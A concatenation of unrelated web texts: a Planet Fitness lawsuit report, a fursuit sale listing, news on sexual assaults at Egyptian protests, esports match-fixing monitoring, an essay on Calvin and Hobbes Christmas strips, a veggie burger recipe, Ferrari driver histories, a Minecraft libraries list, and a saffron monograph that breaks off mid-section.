Midland County Circuit Court confirmed the complaint was filed Monday, March 23, and is assigned to Judge Michael J. Beale. A date for the case was not immediately set as additional paperwork must be submitted beforehand.
McCall Gosselin, public relations director for Planet Fitness, said the company would not comment.
"As a matter of policy, we do not comment on pending litigation," Gosselin said.
The 15-page summons and complaint outlines Cormier's telling of the events leading up to her policy cancellation. It also claims that Cormier has suffered in several ways because of the membership cancellation.
The complaint lists the alleged damages she suffered as "loss of use of gym facilities," "fear about using the gym facilities," "embarrassment and humiliation," "severe emotional distress" and "damage to reputation."
It also includes the line "all other damages that reasonably flow from Defendants' outrageous behavior."
The lawsuit claims Cormier's rights were violated in seven counts, each of which requests restitution in excess of $25,000, plus all applicable costs.
The counts include breach of contract, an exemplary damages claim, invasion of privacy, intentional infliction of emotional distress and three counts of sexual harassment under the Elliott-Larsen Act.
According to the summons and complaint, Cormier suffered the following damages listed under the count of exemplary damages:
"aggravation, annoyance, discomfort, disgrace, feelings of oppression, humiliation, inconvenience, indignation, insult, mental anxiety, mental suffering, mortification, outrage, scorn, shame, sorrow, vexation, and worry"
The law firm has set up a website regarding the case at kallmanlegal.com/planetfitness.
Defendants on the lawsuit are listed as "PF - Midland, LLC" based in Dearborn and "Planet Fitness Holdings, LLC; Planet Fitness Equipment, LLC; Planet Fitness NAF, LLC" based in New Hampshire.
Errors that I had to fix a side, this is a really great and unique fursuit looking for a home.
Purchase includes:
A head with a balaclava base. (The size is about 23". But it also fits my slightly smaller head x3)
Good ventilation.
Somewhat poor vision.
Semi-follow me eyes.
5-finger paws.
A large tail with fins and internal structure wiring.
Some art of the character. Including a piece drawn by me :).
Rights to the character.
Shipping included
More pics http://imgur.com/gallery/54KLP And some artz http://imgur.com/gallery/MvWRR (These are only a couple of the pieces that come with this auction...There are more x3)
ABOARD AIR FORCE ONE (Reuters) - The White House on Friday condemned the rape and assault of women at recent demonstrations in Egypt and called on the Cairo government to prevent sexual violence and prosecute those responsible.
The New York Times reported that on January 25, the second anniversary of the Tahrir Square revolution in Cairo, at least 18 cases of sexual assaults were reported by human groups.
White House deputy press secretary Josh Earnest told reporters that the United States is deeply concerned at reports of rapes and sexual assaults in public squares in Egypt.
“Sexual violence including gang rape has occurred during recent demonstrations in Egypt. This is a cause of great concern to the United States, the international community and to many Egyptians. These victims are mothers, wives, daughters and sisters of Egypt,” he said.
Earnest, speaking on an Air Force One flight that carried President Barack Obama from Washington to an event in Miami, said the Egyptian government has a responsibility to take legal measures to prevent sexual violence and to prosecute people who are involved in such crimes.
The dots below reflect the stories of young lives ended too soon. Hover over them to see their names, and click on them to read our coverage. The map at the bottom has the names of the victims, when available, and the locations of the shootings.
One company focusing specifically on eradicating match-fixing fears is Genius Sports, which has existing strong partnerships outside the esports environment. Genius Sports is a partner of hundreds of sporting bodies, including FIBA, the English Premier League, La Liga, ATP and WTA.
Now, Genius Sports adds FACEIT to its impressive list of clientele. FACEIT is a leading competitive gaming platform and creator of the Esports Championship Series (ECS), which is a competition focused on the game Counter Strike: Global Offensive (CS:GO), a title that has attracted a lot of scrutiny, including litigation, for its role in purportedly aiding and abetting illegal gambling.
Season 3 of ECS begins on April 14 with Genius Sports' data technology and integrity systems integrated to provide a perception of enhanced integrity and engagement with ECS fans. Genius Sports has developed a CS:GO analytics platform to provide real-time data driven predictions, per the company. Its esports Bet Monitoring System will monitor betting markets in real-time and alert the ECS to any unusual market patterns by transforming in-game data into split-second predictive outcomes and monitoring betting activity across an array of bookmakers.
According to Genius Sports, its monitoring system was developed in response to concerns raised about match-fixing and skin betting -- the market for wagering in-game items.
"We are strongly of the view that the video games industry should not be, or perceived to be, passive to the exploitation of their player community by predatory third parties. The significant risk of harm posed by these unregulated gambling websites, whilst unintended, is nonetheless a by-product of the manner in which games have been developed and in-game economies incorporated for commercial benefit, stated a recent report published by the UK Gambling Commission. This excerpt was nestled within a section strictly covering skin gambling.
Additionally, in the past couple of weeks, a report from journalist Richard Lewis indicated that he had information pointing to match-fixing surrounding CS:GO, with one match-fixer who claimed to earn approximately $20,000 from his illegal efforts.
"Integrity has always been the core value for FACEIT and ECS," said Michele Attisani, Chief Business Officer and Co-founder of FACEIT. "We are very aware of the challenges all leagues face as the industry grows and we felt this was a logical next step to safeguard our fans.”
Darren Heitner the Founder of South Florida-based HEITNER LEGAL, P.L.L.C. and Sports Agent Blog. He authored the book, How to Play the Game: What Every Sports Attorney Needs to Know.
Looking for moral complexity in holiday literature
Gabrielle Bellot Blocked Unblock Follow Following Dec 24, 2016
In Santa’s shop, just as he’s arranging his sack of presents into his sleigh, an elf reminds Santa about a problematic six-year-old boy. “There’s still the matter of this Calvin, sir,” the bespectacled elf says. “His list is 30 pages long, not including the supplement about incendiary weapons. The research dept. thought you should handle this one personally.” The elf hands Santa a thick dossier on the notorious child. Although the elf reveals that “surveillance documents some 400 incidents” that might put Calvin on the naughty list — which Calvin tries to explain away in his file through “extenuating circumstances” — the elf notes that “a tiger vouches for the kid’s character…says the kid tries to be sort of good if he’s not tempted otherwise.”
Santa makes up his mind and puts on his coat with a smile; meanwhile, Calvin can’t sleep due to the “suspense” of not knowing if he will get gifts from Father Christmas. This absurd yet meaningful episode sums up much of Bill Watterson’s Christmas-themed Calvin and Hobbes strips, which are not only valuable additions to the canon of Christmas literature, but which may also be some of the most representative of the holiday’s complexities — even more than an iconic text like Charles Dickens’ A Christmas Carol.
What is the literature of Christmas? Defining it, like defining many literatures, is more complex than it may appear on the surface.
What is the literature of Christmas? Defining it, like defining many literatures, is more complex than it may appear on the surface. Literature that uses Christmas as a focal point is perhaps the easiest definition, with many such texts aimed primarily at younger audiences, like Dr. Seuss’ iconic tale of the green Grinch and Chris van Allsburg’s The Polar Express. Christmas texts for adults are a little rarer, but they include memorable texts like Dickens’ novella A Christmas Carol and Truman Capote’s lovely 1956 short story, “A Christmas Memory.” In the early nineteenth century, Washington Irving wrote a number of pieces centered around Christmas; one of his most influential was his 1809 Knickerbocker’s History of New York, which, in its satirical recording of Dutch colonial traditions, may have helped to cement some of the Christmas iconography so popular today. Notably, Irving described how “the good St. Nicholas came riding over the tops of the trees, in that self-same wagon wherein he brings his yearly presents to children” — and this was fourteen years before the New York Sentinel published perhaps the season’s most iconic text, “Twas the Night Before Christmas,” the poem often credited with originating many of the features still associated with popular depictions of Santa Claus today.
At the time Irving published Knickerbocker’s, New York had no Christmas; the only winter celebration was New Year’s. Irving also described in his later 1820 Sketch-Book traditions that, at the time, were disappearing, like kissing under mistletoe; that they exist today likely owes some debt to him. It can be difficult not to make a Christmas narrative feel on-the-nose about ethics on the one hand and a celebration of commercialism on the other, though the best writers of such tales are able to subvert both, while still drawing from cultural traditions.
It can be difficult not to make a Christmas narrative feel on-the-nose about ethics on the one hand, and a celebration of commercialism on the other.
Of course, it is easy to romanticize the holiday if our gaze and our memories are narrow. For someone like me, who is not religious, the holiday can feel frustrating, if family members or friends subtly or overtly try to convert you to a system of belief. Those of us who cannot afford to give presents, those of us who do not even have heat in our homes when the winter comes, are largely unrepresented in endless media images of Christmas defined by glittering warm homes, tall trees that shimmer like stars, presents. Some of us have lost the families we might once have gone home to; as a queer woman who came from a Caribbean island where being queer is often met with rejection or violence, returning home is no longer as simple as it was before I came out, and a small word like “family” can suddenly seem vast, strange, unfamiliar.
And many places, like where I grew up, have snowless Decembers, even as much of the American-influenced media in my island — even local news stations and ads, sometimes — used images of snowflakes and snowmen to identify Christmas. Christmas, like most things, is made up of many stories. Yet I still saw something of myself in Calvin’s perpetual struggle with whether or not to throw a snowball at his neighbor, Susie Derkins; I might have thrown an old mango instead, and my sledding might have been letting the soft current of a shallow river dotted with black stones take me for a bit. But Calvin lived in the island for me as much as he did on the page.
Those of us who cannot afford to give presents, those of us who do not even have heat in our homes when the winter comes, are largely unrepresented in endless media images.
What makes Watterson’s Christmas comics so resonant, to me, is how human they manage to be, how much they are premised upon failure. “I often use the Christmas season for Calvin to wrestle with good and evil,” Watterson wrote about his Christmas strips in The Tenth Anniversary Book. “He wants to be good, but for the wrong reasons.” He isn’t a role model, but he is certainly an existential model, filtered through the prism of a suburban six-year-old blonde American boy, of what it all too often means to be a person. Whereas Dickens’ didactic novella, A Christmas Carol, teaches a simple but significant lesson of kindness that Scrooge appears to take to heart in the end, Watterson’s comics are not so much didactic as they are demonstrations of something that seems even more human than Scrooge’s conversion to goodness: the fact that we are fallible, and will likely fail again and again to be good, though once in a while we may get it right.
When Scrooge is shown the error of his miserly ways — most notably, the fact that not only are people not upset by his future death but are actually relieved he is gone; and the death of Tiny Tim — he seems to undergo a profound volte-face. He not only vows to help Bob’s struggling family in a myriad of tangible ways but becomes “better than his word,” doing “infinitely more” than he had promised, as well as taking on a the role of “a second father” to Tiny Tim; beyond this, the narrator reveals that Scrooge “lived upon the Total Abstinence Principle, ever afterwards; and it was always said of him that he know how to keep Christmas well, if many man alive possessed the knowledge.”
Scrooge is now something that few, if any of us, can truly be: perfectly good.
Despite having “no further intercourse with spirits,” Scrooge has transcended this earthly plane, in a way: he is now seemingly perfectly good. He has become an idol, an ideal, a phoenix of ethics. To be sure, not everyone readily believes in or accepts Scrooge’s stunning transformation; some people even “laughed to see the alteration in him,” perhaps because the contrast was so extreme. But Scrooge is now something that few, if any of us, can truly be: perfectly good. As genuinely heartwarming and, in its own way, universal, as Dickens’ tale is, there is also a kind of moral artificiality in it in the end due to how unswerving Scrooge appears to be in his newfound charity. Scrooge, like Mr. Gradgrind of Hard Times, represents a principle more than a person — and while this does not take away from my enjoyment of A Christmas Carol, it does make it seem less like an archetypal tale of the holiday than a guide to being good.
Calvin and Hobbes, by contrast, shows something more realistic. A Christmas Carol, like many fairy tales and fables, has a cautionary message for its audience; Calvin and Hobbes manages to relay a similar message, but in a much less one-dimensional way, a way that accepts failure and indecision, a way that is more human because of it. “When the strip captures real moments,” Watterson wrote in The Tenth Anniversary Book, “without making them saccharine and tidy — my work is very satisfying.” And Scrooge’s conversion, while certainly meaningful, does feel tidy; does Scrooge never feel tempted to return to his old ways? Does anyone ever change so utterly?
In a lovely, largely wordless Sunday strip, Calvin is preparing to hit Susie with a snowball, grinning devilishly as he scoops the snow. As he raises his arm to fling the projectile, Hobbes calmly interjects. “Some philosophers say that true happiness comes from a life of virtue,” he says, hands aristocratically behind his back, before walking off. Calvin pauses, looks at Susie again, then drops the snowball. In a series of panels without dialogue, Calvin, to the shock of his parents, begins doing all the good things he normally avoids: cleaning his room, taking out the trash, doing his homework, giving his mother a card with a heart on it, shoveling the snow, setting the table. He finishes in a panel surrounded by pure white, an old slate brushed clean — except that he becomes frustrated a panel later, then runs off and knocks Susie into the snow with a snowball, laughing like a supervillain. “Someday,” he tells Hobbes, “I’ll write my own philosophy book.” Hobbes responds that “virtue needs some cheaper thrills.”
While this strip doesn’t necessarily give us a moralistic lesson, it does provide one for life: it’s not easy to change who we are, and sometimes terrible things give us the most pleasure.
Calvin may not have learnt anything that makes him as good as Scrooge — but the difference is that Scrooge stops at that panel surrounded by blankness, content with his newfound charitableness. And while this strip doesn’t necessarily give us a moralistic lesson, it does provide one for life: it’s not easy to change who we are, and sometimes terrible things give us the most pleasure. Calvin and Hobbes, as this strip demonstrates, is not an ethics pamphlet, even as it suggests that being good — not throwing that snowball — is probably the better thing to do, even as it shows that many of us comically fail to do the right thing for the right reason. “Calvin usually learns the wrong lessons from his experiences, if he learns anything at all,” Watterson wrote. To see a world in a ball of snow, as Blake might have put it.
And when Calvin finally does do something genuinely kind, as by affirming his loving friendship with his tigrine companion — who is often his sarcastic, yet never sermonizing, moral superior — it means so much more because it’s such a change from his avaricious plans to get onto Santa’s good list. Greedy as the six-year-old is, Watterson’s own Christmas carol of sorts — a beautiful single-panel strip with a poem about Christmas eve, with Calvin lying against the tummy of a napping Hobbes, a fire behind them — has Calvin say that “tomorrow’s what I’m waiting for, / But I can wait a little more.” Temperance and loving friendship come together here — and it reveals what has always been the case about Calvin: that he may do many bad things, but at his core, he’s not a bad kid, something that describes many of us better than the extremities of Scrooge’s transformation.
It is possible these heartwarming little moments were homages to one of the comics that Watterson often held up as a primary influence, George Herriman’s Krazy Kat, which occasionally showed protagonist Krazy doing charitable deeds on the holiday for no reason other than their kindness, like giving coal briquettes to a poor family so that they might have warmth in the winter. And although Dickens was not a fan of evangelizing his beliefs, there is still an element of this in the end of A Christmas Carol; I prefer the more open, secular approach of Watterson’s strips, which neither endorse nor attack any particular set of beliefs.
The strip’s winter landscapes, too, are suggestive. Often wide open with white space, Watterson wanted to present the spare, austere atmosphere of a Japanese woodblock print. This openness is also an emptiness, a presence in absence, and it perhaps subtly reflects the comic’s continuity when it comes to ethical struggles: each new winter (or are they all, somehow, the same December?) is a kind of blank slate for Calvin, a fresh chance to try to get onto the good list. And Watterson often uses the landscape to explore ethical questions, with Calvin asking Hobbes about anything from the value of being good to the meaning of life while zooming down a snowy slope on a sled — usually ending with a crash.
Watterson uses the landscape to explore ethical questions, with Calvin asking Hobbes about anything from the value of being good to the meaning of life while zooming down a snowy slope on a sled.
Perhaps the most memorable inhabitants of his winter landscapes are the strip’s iconic, extraordinary snowmen, which also show something of the season. As Watterson said himself in the Calvin and Hobbes Tenth Anniversary Book, he often used the strip to “make fun of the art world” — and, more specifically, to satirize what he saw as the ever-widening gulfs between art, largely inaccessible academic interpretations thereof, and audiences who had little to no formal study in art history and who thus were in a sense barred from the works on display.
Watterson perhaps aims a bit too broadly here, in that sometimes art truly is meant to be difficult or even, on its surface, absurd; art, after all, may be one of the most difficult words to define, even as many people think they know it when they see it, as Justice Potter Stewart famously said of pornography. But there certainly is merit in many of Watterson’s critiques, particularly when he draws ironic connections between artists who at once spurn the public and yet wish to profit off of this same public. And in a bigger sense, the snowmen also reflect both the artificiality and evanescence of Christmas. They are caricatures of a superficial kind of art; all the same, they are often glorious. And the fact the snowmen will inevitably melt is a testament, both sarcastic and serious, to the impermanence of art and its creators alike.
They are both satires and affirmations of art; after all, in one narrative that gave its name to a collection, Attack of the Deranged Mutant Killer Monster Snow Goons, Calvin’s grotesque creations come to life, much to his horror. The decorations we may put up during the holiday will come down, just as the snowmen will melt, but there can be joy in doing something so short-lived.
So Long and Thanks for all the Meat!
In the preceding months you see, I’d adopted a dog, Emily.
She soon became the love of my life and light to my days. I’d never connected emotionally with an animal. We’d had pets growing up, but they were hound dogs and outside cats. But now, with my girlfriends popping out babies left and right, I felt this downright maternal surge of love. I looked into her big brown eyes and stared into a thing with life and a soul.
Yet she was ‘just an animal’. In some cultures, she’d be considered quite tasty. That thought horrified me and planted a seed deep in my heart. It didn’t take long for the cognitive dissonance to begin to be too much to bear. After gazing into her little face for hours and hours I realized how much she looked like a little lamb. Then on a drive through the country I stopped in a field to watch a baby cow wander close. In that moment I noticed that it had eyelashes just like Emily’s.
I’m not saying any of this to convert you! This is a profoundly personal choice that everyone has to make. We evolved as omnivores, I know the science. I try never to judge others. In fact, I still cook meat dishes for friends and loved ones, I just can’t partake.
There is one dish in my arsenal that I’ve found even the most die-hard carnivore will ask for seconds and thirds and the recipe to take home!
The Meat of my Post!
I love burgers. I love them so much. However I hate the vegetarian burgers you buy at the grocery. Those frozen brown pucks, hard, uniform, or worse… full of beans! The ones at restaurants, even restaurants that ‘make their own’ aren’t much better! They are dry and crumbly! The best vegetarian restaurant in Santa Cruz still has a burger that is miles behind this masterpiece.
The burgers I make are moist, tender, juicy, and will make any carnivore’s stomach start to growl.
Drooling yet? Okay I’ll share my secret.
Carnivore-Bait Veggie Burgers
This recipe is a tad loosy-goosy. It is highly dependent on what kind of a burger you like. BBQ sauce? Sure throw that in there! Love tons of garlic? YEAH! Hate Onions? No problem. I usually make a batch at a time and freeze the extra! The four components of this recipe are the ‘meat’, the wet ingredients, the dry ingredients, and the flavor-boosting ingredients!
This recipe will make 3 good sized patties or 4 more modest ones.
Ingredients:
The “Meat”
1 pkg Gardein Home Style Beefless Tips
1/2 pkg Lightlife “Smart Bacon”
1/4 pkg Lightlife “Smart Ground” : Original Crumbles
1/4 White or Yellow Onion (diced)
The Wet
1 egg
1 tsp Vegetarian Steak or Worshtechershire sauce
Optional: BBQ Sauce!
The Dry
2 tbs Yellow Cornmeal
2 tbs White Flour
Optional: Oatmeal!
The Flavor!
Garlic Powder
Garlic Paste
Onion Powder
Black Pepper
Spice Mix (I have a smokey maple, a spicy chipotle, and an Italian spice blend that I’ll use according to what I feel like!) I don’t find the recipie needs more salt.
The sky’s the limit here!
Prepare the Patties!
Thaw the Gardein Beefless Tips or if you are in hurry put them on a stove and let them brown a little. Don’t cook them entirely, just thaw them thoroughly.
Chop your onion.
Dice your fake-bacon!
Crumble those crumbles!
Add your dry ingredients, and give them a stir to evenly coat everything in bowl in flour.
Your Beefless tips should be thawed by now, I smush mine with the back of a spatula and rough them up a little. You don’t want to dice them entirely because we’re shooting for a moist and non-uniform consistency!
Add those smushed tips to the bowl
Add your wet ingredients
Oops, that’s for me.
There isn’t really a good way to mix this together without using your hands, so quaff your whisky and dig in.
Form the mixture into patty shapes. Mine start rather round and get squashed down a little as they cook.
I had the burgers fight over which one got consumed and put the losers (winners?) in the freezer for later!
Heat your patties in an oiled pan over medium heat. They will try to fall apart on you, this is okay. Heat one side without flipping it over for a few minutes.
Steel your nerves with more whiskey and flip that sucker over. It will probably fall apart on you again! It’s okay… push it back together with the back of a fork or your spatula and give it a few minutes before piling on some cheese!
Although cheese isn’t technically an ingredient in the burger I do find it useful to keep everything together.
Wolfgang von Trips—1956-1961
Wolfgang Alexander Albert Eduard Maximilian Reichsgraf Berghe von Trips, or Wolfgang von Trips to you and me, took two victories for Ferrari in the 1961 season, and could well have won the championship that year. The Count was set to make his debut in Formula One at the Italian Grand Prix for Lancia (with a Ferrari engine in the front) back in 1956, but he suffered an accident in practice and he was unable to participate in the race. Von Trips finally made his Grand Prix debut at the Argentine Grand Prix the following year, finishing sixth at Buenos Aires in a drive which he shared with Cesare Perdisa and Peter Collins. He jumped to the Ferrari works team for the Monaco Grand Prix in a shared drive with future champion Mike Hawthorn, but the engine expired with just five laps to go. Von Trips achieved his first podium in his first race in which he did not share the car at the Italian Grand Prix at Monza. Another podium at the French Grand Prix the following year was the best that von Trips could manage whilst Hawthorn took the car to the title, though von Trips only attended six of the eleven races that year. A single race for Ferrari in the following season netted zero points as von Trips tried Porsche’s Formula One effort, which delivered little.
Von Trips became a full Ferrari works driver for 1960 in the 246 which took Hawthorn to the title two years prior. Von Trips took part in every race that season, apart from the Indianapolis 500, which was part of the championship in those days. Von Trips achieved a fourth place and three fifth places for Ferrari that season and took seventh in the championship in a year dominated by Jack Brabham and his Cooper-Climax. A one-off for Cooper-Maserati at the United States Grand Prix delivered very little, but the following season was to deliver the best and worst for von Trips. Ferrari produced the revolutionary 156 with its unique shark nose and from the word go it was quick. Ferrari also had three drivers who were regarded highly on the grid in von Trips and Americans Ritchie Ginther and Phil Hill. Von Trips took his first victory at the Netherlands, where he led Hill to a 1-2 for Ferrari, only for Hill to hit back at the notorious Spa-Francorchamps circuit, where he led a historic Ferrari 1-2-3-4. Giancarlo Baghetti won in his first Grand Prix in a customer 156 at the French Grand Prix before von Trips led a 1-2-3 at the British Grand Prix. Stirling Moss (Monaco winner that year) also won at the Nurburgring Nordschleife, but von Trips extended his lead to four points in the championship with second. At this point in the season both Moss and Ginther also had outside shots at the title but it looked to be a fight between von Trips and Hill for the title.
So the title fight was to take its tragic twist at Monza. The race was run on the 10-kilometre version of the track, with the banking sections. Von Trips took the only pole of his career on the famous circuit with Hill in fourth. Von Trips didn’t start well, and slipped back. On the second lap of the race, von Trips was involved in a collision with Jim Clark’s Lotus and flew into the crowd, killing the German instantly as well as fifteen spectators. It remains the worst fatal accident in Formula One’s history. Hill took the final win of his career and the title by a point and Ferrari took their first Constructors’ Championship, though not in the way they wanted to achieve it. Until Michael Schumacher took victory at the Belgian Grand Prix in 1992, only Jochen Rindt (who was German but raced under an Austrian License) and Jochen Mass (who won the shortened 1975 Spanish Grand Prix) were the only Germans as well as von Trips to achieve victory in a World Championship race. Von Trips was the first of seven drivers to race under a German License to achieve a victory in a World Championship event on top of that.
Michael Schumacher—1996-2006
Michael Schumacher moved to Ferrari in 1996 for $30million a year having dominated the championship with Benetton the year before. He was just one part of the seemingly invincible combination which Jean Todt put together with Schumacher’s help. Schumacher also assisted in bringing in Rory Byrne and Ross Brawn from his old team.
Ferrari were pretty shambolic in the early-mid nineties, with Alain Prost famously likening his Ferrari to a truck, and the pit crew’s performances were very poor compared to McLaren, Benetton and Williams—the teams to beat in that era. It was not just Schumacher’s ability to build a team which helped, but his ability to drive a car too. Each of Schumacher’s three victories that season—at a soaked Barcelona, at Spa and at Monza are often regarded as some of his greatest. He finished third in the championship behind the two Williams cars of Damon Hill and Jacques Villeneuve. Schumacher won a further five races the following year to take a full-on title challenge to Villeneuve. However, a controversial collision between the two at the title decider in Jerez was seen to be Schumacher’s fault and he was disqualified from second place in the championship.
For 1998, McLaren were the team to beat, and although they started very strongly, Schumacher and Ferrari caught up. Schumacher took six wins, including a fantastic win at Hungary that year, but Mika Hakkinen took the title at the end of the year after the German stalled from pole in the title decider at Suzuka. A strong start to the 1999 season was nulled when Schumacher suffered a break failure at the British Grand Prix, leaving him with a broken leg and out for six races. His team mate Eddie Irvine challenged Hakkinen but the Finn held on, despite Schumacher returning for the final two rounds. Ferrari however achieved their first championship since 1983 as they took the Constructors’ Title.
Schumacher and Hakkinen duelled like crazy once again in 2000, but after 21 long years, Ferrari had their new World Champion. In what he dubbed his greatest race Schumacher clinched the title with a race to spare at Suzuka, having passed Hakkinen in the pit stops and holding him off for the rest of the race. 2001 began the years of absolute domination for Schumacher as he finished every race except three that year in either first or second place. The following year, Schumacher finished every single race in either first, second or third; the latter he only achieved once that year.
The F2002 driven that year remains one of the most successful Formula One cars of all time, as Ferrari scored more points than all of the other cars that year combined. 2003 was a bit tougher for Schumacher as he suffered the loss of his mother on the morning of the San Marino Grand Prix (which he won). Despite winning four races in the first eight races, Finn Kimi Räikkönen and Columbian Juan Pablo Montoya were picking up wins and podiums for McLaren and Williams respectively. Schumacher eventually took his record-breaking sixth title at Suzuka by just two points over Räikkönen. 2004 saw Schumacher win a scarcely believable twelve out of thirteen races en route to his seventh title.
At this point, the regulations were being changed to hurt Ferrari and make the series more competitive and less predictable. That was exactly what happened the following year, and Schumacher lost his crown to a young Fernando Alonso, who won the title for Renault, which was Benetton—Schumacher’s old team. A lone victory at the farcical United States Grand Prix en route to third place in the championship was all that Schumacher had to shout about.
Despite this, Schumacher and Ferrari hit back in 2006. With Renault seemingly being on top still—Fernando Alonso finished every race in the first half of the season in either first or second place—meant that there was a significant deficit at this point. However, five wins from seven races brought Schumacher back into play and Alonso and the German were level with two races to go. At this point, Schumacher announced his ‘retirement’ and Räikkönen was swiftly announced as his replacement. Alonso won the Japanese Grand Prix after Schumacher suffered his first mechanical problem in a race in five years. A problem in qualifying at the Brazilian Grand Prix, as well as a puncture, effectively ended hopes of an eighth title, though Schumacher fought from the back through to fourth. We all thought that this would be the last that we would see of Michael Schumacher.
Schumacher held a role as a development driver for Ferrari, and was even set to make a dramatic comeback when Felipe Massa suffered his horrific accident in Hungary in 2009, but it wasn’t to be, as Schumacher was not deemed fit enough at the time. He left his role at the end of the year to be reunited with Ross Brawn at Mercedes, though the results simply didn’t come in his second career. Despite this, Schumacher’s impact on Ferrari could be felt as the team took three titles between 2007 and 2008 with Massa and Räikkönen. With 72 wins and five consecutive Drivers’ Championships and six Constructors’ Championships, this partnership remains by far the most successful in Formula One history.
What does the future hold for Sebastian Vettel at the famous Italian team? Be sure to leave your comments below.
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ISTANBUL
Ramis Topal, a main oposition Republican People’s Party deputy, was injured during last evening’s police raid on Istanbul’s central Gezi Park. DHA photo
2:06 AM Amer Bekic 0 Comments
Over Easter weekend, my nephew received a set of Minecraft LEGOs. He was overjoyed, but I couldn’t really grasp his excitement. Lots of my friends play Minecraft, some are hopelessly addicted to it. But me? I never really understood the appeal.
So, I downloaded the game on my iPhone, and an hour later, realized I made a horrible mistake. My battery was dead and I was hooked.
Before my iPhone died, I managed to build a ramshackle little house, which I filled with bookshelves. Because that’s the kind of person I am. I have free reign to do whatever I want in a virtual realm, and I build myself a library.
This got me thinking. How have the true Minecraft fans managed when it comes to building libraries? Readers, prepared to be awed. Some are works of imagination, others, real places rendered in purely pixelated glory. I give you, ten of the most beautiful libraries ever built. In Minecraft.
1. The New York Public Library: This particularly stunning recreation features the front of the building, interior, and the entire grounds. : This particularly stunning recreation features the front of the building, interior, and the entire grounds. Check out the full gallery here
2. The Old Dominion University Library by Matt Jabaily : Recreated by the reference librarian, this is one stunning project. It even has an official place on the university’s website ! Head over there to take a video tour of the place, and learn more about the project.
3. Birmingham Central Library by Maniacyak : A Minecraft interpretation of the real world library.
4. The Kenmore Library by Yogibaer93 : Another real world library, built out of tiny blocks.
5. Minecraft Library by Pyrohmstr : Gorgeous arches and skylights. I want to read in here.
6. Medieval Castle Library : This stunning castle features this beautiful library.
7. The Dessert Library by SylphViper : Now that is an oasis. I wish we could see the inside!
8. The Luna Library by EGL 215 : Library on a mountain with a waterfall. Wow!
9. The Hogwarts Library by Carlosedu1: Rowling would be proud.
10. Monastery Library by Zach Bora : Interior and exterior of a monastery library.
Scientific Name(s): Crocus sativus L.
Common Name(s): Saffron, Stigma Croci, Za'faran
Clinical Overview Use Saffron has widespread traditional uses. It has demonstrated efficacy as an alternative treatment for mild to moderate depression. Antinociceptive and anti-inflammatory activity has been suggested. Saffron may also have a potential role in the treatment of cancer, in the reduction of cardiovascular risk factors, and in age-related macular degeneration. Dosing Clinical studies have evaluated doses ranging from 20 to 400 mg/day of pure saffron. Dosages of up to 1.5 g/day of saffron are thought to be safe; toxic effects have been reported for 5 g doses. Depression: 20 to 30 mg/day of saffron extract (stigma or petal) for mild to moderate depression. Hypertension: 400 mg/day of saffron tablets for 7 days. Contraindications Contraindicated in bleeding disorders. Pregnancy/Lactation Avoid use. Amounts higher than those used in food (eg, 5 g or more) have uterine stimulant and abortifacient effects. Information regarding safety and efficacy in lactation is lacking. Interactions None well documented. Adverse Reactions Reported adverse effects include nausea, vomiting, and headache. Allergic reactions are uncommon; however, occupational allergies, including rhinoconjunctivitis, bronchial asthma, and cutaneous pruritus, have been reported. Case reports of anaphylaxis also exist. Toxicology Information is limited. Doses of 5 g are associated with toxic effects; doses of 10 to 20 g may be fatal.
Botany
True saffron is native to Asia Minor (Anatolia) and southern Europe, with the majority of the world's saffron production based in Iran. Its blue-violet, lily-shaped flowers contain the orange stigmas (part of the pistil) and red style branches used to produce saffron spice. The plant is a bulbous perennial that grows 15 to 20 cm in height. Mature stigmas are collected by hand during a short autumn blooming season.1, 2
True saffron should not be confused with Carthamus tinctorius L. (family Asteraceae), also called American saffron (safflower, Indian safflower); the spice of American saffron is produced from its tubular florets and is characterized by a lighter red than true saffron. The two are often used for the same purposes, and the less expensive American saffron is sometimes used as a substitute for or to adulterate true saffron.
History
Saffron use has been traced to ancient Egyptian and Roman times, when it was used medicinally, only later becoming valued as a spice and dye. The word "saffron" is thought to originate from the Arabic "za'faran," meaning yellow. Other sources suggest the name "Crocus" has origins in Greek mythology, according to which drops of blood from "Krokos," friend of Hermes, fall on the flower of a plant and create the characteristic stigmata of saffron flowers.2, 3, 4, 5
Saffron has traditionally been used for its sedative, emmenagogue, stimulant (appetite), aphrodisiac, diaphoretic, and antidepressant properties, and for a wide variety of conditions, including cramps, asthma, menstrual disorders, liver disease, and pain.1, 3, 6 From the 17th to 19th centuries, saffron was included in various opioid preparations, including laudanum and "black-drop," for pain relief.6 In the Indian Ayurvedic health system, saffron is considered an adaptogen.3 However, The Complete German Commission E Monographs negatively evaluated saffron for use in cramps and asthma.4 Various patents exist for saffron in combination with other agents.
Chemistry
The stigmas of C. sativus contain the primary pigment crocin, as well as anthocyanin, alpha- and beta-carotene, and zeaxanthin pigments, and the vitamins riboflavin and thiamine. The major carotenoid derivatives found in saffron are crocetin, picrocrocin, and safranal.2, 5, 7 The characteristic taste of the spice is attributed to the glycoside picrocrocin, while safranal is considered the main odiferous constituent, achieved through hydrolysis of picrocrocin.8
Crocin is a mixture of glycosides: crocetin, a dicarboxylic terpene lipid, and alpha-crocin, a digentiobiose ester of crocetin. Cis- and trans-crocetin dimethyl esters have also been identified.7 Similar compounds have been isolated from other members of the Iridaceae family. Gardenidin, a compound obtained from gardenias, is identical to crocetin.
The essential oil derived from saffron is a complex mixture of more than 30 components, mainly terpenes and their derivatives. A review of the volatile compounds of saffron has been published.8
Uses and Pharmacology
Cancer
Animal and in vitro data
By mechanisms not fully understood, saffron appears to be selectively cytotoxic, inhibiting proliferation and disease progression while healthy cells remain viable. Antioxidant effects have been demonstrated.2, 5, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18 The toxicity of cytostatic drugs, such as cisplatin, has been reduced with coadministration of saffron extracts, without affecting the antitumor activity of the cytostatic drugs.6, 9, 19 In one study, lifespan in rats with induced carcinomas was increased with the administration of saffron extracts5; in other studies of animal models and with cultured human malignant cell lines, saffron demonstrated antitumor and cancer preventive activities.10, 11
Clinical data
Research reveals no clinical data regarding the use of saffron in cancer.
Cardiovascular effects
Animal data
